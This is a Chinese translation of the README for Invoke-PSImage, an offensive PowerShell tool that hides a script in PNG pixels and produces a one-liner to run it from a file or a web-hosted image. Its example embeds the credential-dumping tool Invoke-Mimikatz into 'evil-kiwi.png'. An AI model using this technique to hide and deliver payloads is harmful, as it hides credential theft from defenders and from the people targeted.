Invoke-PSImage

将一个PowerShell脚本嵌入到PNG文件的像素中,并生成一个要执行的oneliner

Invoke-PSImage需要一个PowerShell脚本,并将脚本的字节嵌入到PNG图像的像素中。它生成一个oneliner,用于执行来自web的文件(当传递-Web标志时)。

每个像素中的2个颜色值的最低有效4位用于保存有效载荷。图像质量会受到影响,但仍然看起来不错。图像保存为PNG格式,可以无损压缩图像,而不会影响执行有效负载的能力,因为数据存储在颜色本身中。它可以接受大多数图像类型作为输入,但输出将始终是一个PNG,因为它需要是无损的。

图像的每个像素都用来保存脚本的一个字节,因此您需要一个脚本中像素至少与字节一样多的图像。这很容易 - 例如,Invoke-Mimikatz适合1920x1200的图像。

参数

-Script [filepath]要嵌入到Image中的脚本的路径。

-Image [filepath]嵌入脚本的图像。

-Out [filepath]保存最终图像的文件(图像将是一个PNG)

-Web 输出用于从网络读取图像而不是从文件读取的命令。您将需要托管图像并将URL插入到命令中。

使用嵌入在其中的脚本“Invoke-Mimikatz.ps1”创建一个图像,并输出一个从磁盘执行的oneliner:

PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\kiwi.jpg -Out .\evil-kiwi.png
   [Oneliner to execute from a file]

创建一个嵌入了脚本“Invoke-Mimikatz.ps1”的图像并输出一个在网上执行的链接(您仍然需要托管图像并编辑网址):

PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\kiwi.jpg -Out .\evil-kiwi.png -Web
   [Oneliner to execute from the web]

执行网络上托管的图像:


转载请注明出处:https://www.freearoot.com/index.php/invoke-psimage.html

文章来源:https://github.com/peewpw/Invoke-PSImage